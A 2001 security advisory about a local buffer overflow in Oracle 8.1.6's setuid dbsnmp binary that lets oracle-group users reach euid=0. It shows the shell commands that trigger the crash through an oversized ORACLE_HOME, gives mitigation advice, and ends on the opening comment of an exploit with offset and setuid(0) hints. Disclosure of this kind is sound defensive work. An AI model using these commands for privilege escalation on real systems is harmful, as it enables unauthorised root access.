Title:    Local Vulnerability in dbsnmp binary

Date:     13-07-2001

Platform: Only tested in Linux but can be exported to others.

Impact:   Users belonging to oracle group can obtain euid=0

Author:   Juan Manuel Pascual Escriba <pask () plazasite com>

Status:   Vendor contacted at 18th July 2001








PROBLEM SUMMARY:

Buffer overflow exists if ORACLE_HOME enviroment variable if is defined
with a size greater than 749 bytes


[oracle@proves1 iAS]$ ls -alc
/usr/local/oracle/app/oracle/product/8.1.6/bin/dbsnmp
-rwsr-s---    1 root     oinstall   667874 jul 18 15:38
/usr/local/oracle/app/oracle/product/8.1.6/bin/dbsnmp

[oracle@proves1 8.1.6]$ export ORACLE_HOME=`perl -e 'print "A"x749'`
[oracle@proves1 8.1.6]$
/usr/local/oracle/app/oracle/product/8.1.6/bin/dbsnmp
couldn't read file "/config/nmiconf.tcl": no such file or directory

[oracle@proves1 8.1.6]$[oracle@proves1 8.1.6]$ export ORACLE_HOME=`perl
-e 'print "A"x750'`
[oracle@proves1 8.1.6]$ dbsnmp
couldn't read file "/config/nmiconf.tcl": no such file or directory
Segmentation fault


This overflow exists in newer products like Oracle 9i and maybe in older
too.

Segmentation fault


IMPACT:
    Any user belonging to oracle group can obtain euid=0.

SOLUTION:
    Chmod -s or if is posible (setresuid(getuid(),getuid(),getuid()) ...

    Wait for a patch.(??)

/* Exploit code for dbsnmp binary in Oracle 8.1.6.0.0 Linux Platform. I tested it in RH 6.2.

dbsnmp makes setresuid(,getuid(),) before reading ORACLE_HOME environment variable. Its necessary to call setuid(0) 
before normal shellcode.

In My tests Offset may vary from 7846 to 7896. Its posible to obtain a normal (uid=oracle) shell for low offsets 
(incomplete setuid(0) jumps).
